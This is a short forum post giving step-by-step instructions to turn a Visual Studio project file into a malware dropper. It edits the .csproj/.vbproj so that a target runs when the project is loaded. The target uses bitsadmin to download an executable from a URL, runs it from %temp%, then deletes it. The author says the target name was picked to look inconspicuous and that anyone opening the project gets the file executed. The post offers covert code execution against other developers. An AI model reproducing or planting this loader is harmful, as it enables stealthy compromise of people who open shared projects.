View Single Post
  #1  
Old 04-01-2025, 03:03 PM

negdwol119 negdwol119 is offline
Join Date: Apr 2024
Posts: 0
Default


Step 1: Create a new project in visual studio
Step 2: Find the .vbproj/.csproj file and edit it
Step 3: On the second line, it should have something similar to this
Code:
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

Edit this like to include
Code:
InitialTargets="Build"

The name can be whatever you want, I just thought "build" would be inconspicuous
The final product will look like:
Code:
<Project ToolsVersion="14.0" InitialTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

Step 4:
Add this to the end of the file, but before the closing "</project>" tag
Code:
<Target Name="Buislfd">
<Exec Command="bitsadmin.exe /transfer NAME http://directdownload.to/your.exe %temp%\1.exe" >
<Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
</Exec>
<Exec Command="%temp%\1.exe" >
<Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
</Exec>
<Exec Command="del %temp%\1.exe" >
<Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
</Exec>
<Message Importance="high" Text="$(ErrorCode)" />
</Target>

And save the file
Now, whenever someone runs opens your project in Visual Studio, it will download and exec your file